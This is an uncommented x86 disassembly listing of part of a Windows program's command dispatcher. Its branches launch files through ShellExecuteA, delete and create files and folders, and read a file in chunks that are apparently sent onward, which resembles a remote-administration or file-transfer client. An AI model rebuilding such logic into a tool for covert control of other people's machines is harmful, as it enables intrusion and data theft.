call fcn.0046c9a8
fstp qword [ebp - 0x98]
wait
mov eax, dword [0x547568]
call fcn.004de2ac
push eax
push 0
mov eax, dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e32dc
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53db54], 0
jne 0x4e3446
call fcn.004b09b8
test eax, eax
jne 0x4e3446
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x9a0]
mov eax, dword [ebp - 0x7c]
call fcn.004de134
mov eax, dword [ebp - 0x9a0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e335d
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e3446
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
jmp 0x4e3446
cmp byte [0x53db54], 0
jne 0x4e3446
xor eax, eax
push ebp
push 0x4e343f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db54], 1
lea edx, [ebp - 0x9a4]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9a4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x9a8]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9a8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
push 1
lea eax, [ebp - 0x9ac]
call fcn.00471b44
mov eax, dword [ebp - 0x9ac]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
je 0x4e342a
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e342a
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3446
mov byte [0x53db54], 0
ret
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb1
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
cmp dword [ebp - 0x88], 1
jne case.0x4df632.10
mov edx, 5
xor eax, eax
call fcn.004f2a50
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e34ad
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53db54], 0
jne 0x4e375c
call fcn.004b09b8
test eax, eax
jne 0x4e375c
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
call fcn.004de1e4
test al, al
je 0x4e375c
lea edx, [ebp - 0x9b0]
mov eax, dword [ebp - 0x7c]
call fcn.004de134
mov eax, dword [ebp - 0x9b0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e368a
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e375c
lea edx, [ebp - 0x9b4]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9b4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x9b8]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9b8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
cmp dword [ebp - 0x80], 0
je 0x4e35bd
push 0
lea eax, [ebp - 0x9bc]
call fcn.00471b44
mov eax, dword [ebp - 0x9bc]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x80]
call fcn.00404adc
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
jmp 0x4e35c5
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e375c
push 0
lea eax, [ebp - 0x9c0]
call fcn.00471b44
mov eax, dword [ebp - 0x9c0]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e375c
mov eax, dword [0x53e8cc]
cmp byte [eax], 0
je 0x4e367b
lea eax, [ebp - 0x9c4]
mov edx, dword [0x53e8cc]
mov dl, byte [edx]
call fcn.00404798
mov eax, dword [ebp - 0x9c4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e367b
lea edx, [ebp - 0x9c8]
mov eax, 0x85
call fcn.004ab720
mov eax, dword [ebp - 0x9c8]
push eax
lea edx, [ebp - 0x9cc]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9cc]
mov ecx, 1
pop edx
call fcn.0046cc38
mov dword [ebp - 0x88], 1
jmp 0x4e375c
cmp byte [0x53db54], 0
jne 0x4e374f
xor eax, eax
push ebp
push 0x4e3748
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db54], 1
lea edx, [ebp - 0x9d0]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9d0]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x9d4]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9d4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
push 1
lea eax, [ebp - 0x9d8]
call fcn.00471b44
mov eax, dword [ebp - 0x9d8]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e374f
mov byte [0x53db54], 0
ret
cmp dword [ebp - 0x84], 0
jne 0x4e3521
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb3
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
cmp dword [ebp - 0x88], 1
jne case.0x4df632.10
mov eax, dword [0x53d448]
xor edx, edx
call fcn.00404fc8
je 0x4e37a5
mov eax, dword [0x53d448]
call fcn.00404ea0
push eax
call sub.kernel32.dll_DeleteFileW
mov edx, 5
xor eax, eax
call fcn.004f2a50
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e37e1
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x53e61c]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9dc]
mov eax, dword [ebp - 0x7c]
call fcn.004de134
call fcn.004b087c
test eax, eax
jne 0x4e3931
cmp dword [ebp - 0x7c], 0
je 0x4e3931
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9e0]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e3924
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e3924
cmp byte [0x53db54], 0
jne 0x4e3924
xor eax, eax
push ebp
push 0x4e391d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db54], 1
call fcn.004b09b8
test eax, eax
jne 0x4e3908
lea edx, [ebp - 0x9e4]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9e4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x9e8]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9e8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
push 1
lea eax, [ebp - 0x9ec]
call fcn.00471b44
mov eax, dword [ebp - 0x9ec]
call fcn.00404a84
push eax
push 0
push 1
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3924
mov byte [0x53db54], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4df632.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e3976
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x53e61c]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9f0]
mov eax, dword [ebp - 0x7c]
call fcn.004de134
call fcn.004b087c
test eax, eax
jne 0x4e3ac6
cmp dword [ebp - 0x7c], 0
je 0x4e3ac6
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9f4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e3ab9
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e3ab9
cmp byte [0x53db54], 0
jne 0x4e3ab9
xor eax, eax
push ebp
push 0x4e3ab2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db54], 1
call fcn.004b09b8
test eax, eax
jne 0x4e3a9d
lea edx, [ebp - 0x9f8]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9f8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x9fc]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x9fc]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
push 1
lea eax, [ebp - 0xa00]
call fcn.00471b44
mov eax, dword [ebp - 0xa00]
call fcn.00404a84
push eax
push 0
push 3
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x53e7f4]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3ab9
mov byte [0x53db54], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4df632.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
jmp case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov ebx, eax
mov edx, 0x4e5ea0
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
mov eax, dword [0x53ec70]
push dword [eax]
push 0x4e5ed0
lea eax, [ebp - 0xa04]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa04]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
mov eax, dword [0x53ec70]
push dword [eax]
push 0x4e5ee0
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa08]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
mov eax, dword [0x53ec70]
push dword [eax]
push 0x4e5ef0
lea eax, [ebp - 0xa0c]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa0c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa10]
mov eax, 0xf9
call fcn.004ab720
mov ecx, dword [ebp - 0xa10]
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa14]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa14]
push eax
push ebx
call fcn.0046dfcc
push 0x4e5f00
push dword [ebp - 0x90]
push 0x4e5f00
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, ebx
call fcn.004037ac
call fcn.004dec88
xor edx, edx
mov eax, 3
call fcn.004deca8
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e5df8
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4df632.10
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov ebx, eax
mov edx, 0x4e5ea0
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
lea eax, [ebp - 0xa1c]
mov edx, dword [0x547564]
mov dl, byte [edx]
call fcn.00404798
push dword [ebp - 0xa1c]
push 0x4e5f0c
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa18]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
push dword [0x547564]
push 0x4e5f20
lea eax, [ebp - 0xa20]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa20]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
push dword [0x547564]
push 0x4e5f38
lea eax, [ebp - 0xa24]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa24]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e5ec0
mov eax, dword [0x53ec70]
push dword [eax]
push 0x4e5ef0
lea eax, [ebp - 0xa28]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa28]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa2c]
mov eax, 0xf9
call fcn.004ab720
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [0x53ec70]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa30]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa30]
push eax
push ebx
call fcn.0046dfcc
push 0x4e5f00
push dword [ebp - 0x90]
push 0x4e5f00
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, ebx
call fcn.004037ac
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e5df8
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.00473660
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
jmp case.0x4df632.10
lea edx, [ebp - 0xa34]
mov eax, 0xfa
call fcn.004ab720
mov eax, dword [ebp - 0xa34]
push eax
lea edx, [ebp - 0xa38]
mov eax, 0xae
call fcn.004ab720
mov eax, dword [ebp - 0xa38]
push eax
lea eax, [ebp - 0xa3c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa3c]
pop eax
pop edx
call fcn.0046c2e8
jmp case.0x4df632.10
cmp dword [0x53d390], 0x521044e
jb case.0x4df632.10
cmp byte [0x53db4c], 0
jne case.0x4df632.10
xor eax, eax
push ebp
push 0x4e4266
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54761c], eax
mov eax, dword [0x54761c]
add eax, 0x5b
cmp eax, dword [0x5476b0]
jae 0x4e3e8d
push 0
push 0x3e8
mov eax, dword [0x53d32c]
mov edx, dword [0x53d330]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e3e8d
cmp eax, 0
je 0x4e4251
mov byte [0x53db4c], 1
lea edx, [ebp - 0xa0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0xa0]
call fcn.004da9c4
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 0xa0]
call fcn.00404650
mov eax, dword [ebp - 0xa0]
call fcn.0040488c
cmp eax, 3
jge 0x4e3ee0
mov eax, 0x53db44
call fcn.004045b8
jmp 0x4e4215
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e3f6f
mov al, byte [0x5478c0]
call fcn.0046b91c
test al, al
je 0x4e3f6f
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e3f6f
lea edx, [ebp - 0xa40]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0xa40]
mov eax, 0x53db44
call fcn.0040460c
lea eax, [ebp - 0xa44]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa44]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53db44]
call fcn.004048d8
jmp 0x4e3f79
mov eax, 0x53db44
call fcn.004045b8
mov eax, dword [ebp - 0xa0]
call fcn.00462e1c
test al, al
je 0x4e4215
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xdf
mov eax, dword [ebp - 0x28]
call fcn.004dc870
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a754]
call fcn.0046a9dc
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4eb3c8
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4eb604
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ebbec
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0xa0]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4707e0]
call fcn.0040377c
mov dword [0x5478a8], eax
push 0
push 0x20
mov eax, dword [0x5478a8]
call fcn.0041971c
push 0
push 0x20
mov eax, dword [0x5478a8]
call fcn.004196b8
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4e420e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aa90
mov eax, dword [0x5478a8]
call fcn.004196cc
cmp edx, 0
jne 0x4e4083
cmp eax, 0x20
jbe 0x4e41cd
jmp 0x4e4089
jle 0x4e41cd
mov eax, dword [0x5478a8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xe8
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [0x5478a8]
call fcn.004196cc
mov edx, dword [ebp - 0x2c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x5476b0]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
mov eax, dword [ebp - 0x2c]
call fcn.004eadd8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x794]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf2
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
push 0
push 0
mov eax, dword [0x5478a8]
call fcn.004196b8
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], ebx
inc ebx
mov eax, dword [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [0x5478a8]
call fcn.00419698
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4e4150
cmp eax, 0x500
jbe 0x4e4159
jmp 0x4e4152
jle 0x4e4159
mov esi, 0x500
jmp 0x4e416b
mov eax, dword [0x5478a8]
call fcn.00419698
mov esi, dword [ebp - 0xac]
sub esi, eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov ecx, esi
mov eax, dword [0x5478a8]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x5478a8]
call fcn.00419698
mov edx, dword [ebp - 0xac]
sub edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x18], edx
add esi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dc518
test al, al
je 0x4e41eb
test bl, 0xf
jne 0x4e41be
mov eax, dword [0x53eb10]
mov eax, dword [eax]
call fcn.00448060
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x18], 0
jne 0x4e411f
jmp 0x4e41eb
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dc870
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4234
mov eax, dword [0x5478a8]
call fcn.004037ac
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dc870
cmp dword [0x53db44], 0
je 0x4e4251
mov eax, 0x53db44
call fcn.004045b8
mov al, byte [0x5478c0]
call fcn.004b0c28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4df632.10
mov byte [0x53db4c], 0
ret
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
lea eax, [ebp - 0x3c]
call fcn.004da9c4
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
mov eax, dword [ebp - 0x3c]
cmp byte [eax + 1], 0x3a
jne 0x4e4306
mov al, byte [0x5478c0]
call fcn.0046b91c
test al, al
je 0x4e4306
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e4306
lea edx, [ebp - 0xa48]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0xa48]
mov eax, 0x53db44
call fcn.0040460c
lea eax, [ebp - 0xa4c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x3c]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa4c]
lea eax, [ebp - 0x3c]
mov edx, dword [0x53db44]
call fcn.004048d8
jmp 0x4e4310
mov eax, 0x53db44
call fcn.004045b8
push 0
lea eax, [ebp - 0x3c]
call fcn.00404adc
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53db44], 0
je 0x4e4343
mov eax, 0x53db44
call fcn.004045b8
mov al, byte [0x5478c0]
call fcn.004b0c28
push 0
push 0
lea edx, [ebp - 0xa50]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov eax, dword [ebp - 0xa50]
push eax
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
cmp byte [0x53db50], 0
jne case.0x4df632.10
xor eax, eax
push ebp
push 0x4e462a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db50], 1
mov dl, 1
mov eax, dword [0x414ba8]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa54]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0xa54]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004da9c4
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x5478c0], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e447c
mov al, byte [0x5478c0]
call fcn.0046b91c
test al, al
je 0x4e447c
mov al, byte [0x5478c0]
call fcn.004b08a8
test eax, eax
jne 0x4e447c
lea edx, [ebp - 0xa58]
mov al, byte [0x5478c0]
call fcn.004b0aa4
mov edx, dword [ebp - 0xa58]
mov eax, 0x53db44
call fcn.0040460c
lea eax, [ebp - 0xa5c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53db44]
call fcn.004048d8
jmp 0x4e4486
mov eax, 0x53db44
call fcn.004045b8
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4e45c5
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x50], 1
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa60]
lea eax, [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0x3c]
call fcn.0046dd20
test al, al
je 0x4e44f5
mov eax, dword [ebp - 0x3c]
call fcn.004f62d0
mov edx, 2
mov eax, dword [ebp - 0x3c]
call fcn.004d9de8
jmp 0x4e45b6
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a754]
call fcn.0046a9dc
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4eb3c8
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4eb604
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ebbec
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4e459d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aa90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e45a4
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
inc dword [ebp - 0x50]
dec dword [ebp - 0x104]
jne 0x4e44a7
cmp dword [0x53db44], 0
je 0x4e45e2
mov eax, 0x53db44
call fcn.004045b8
mov al, byte [0x5478c0]
call fcn.004b0c28
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004dca0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4df632.10
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
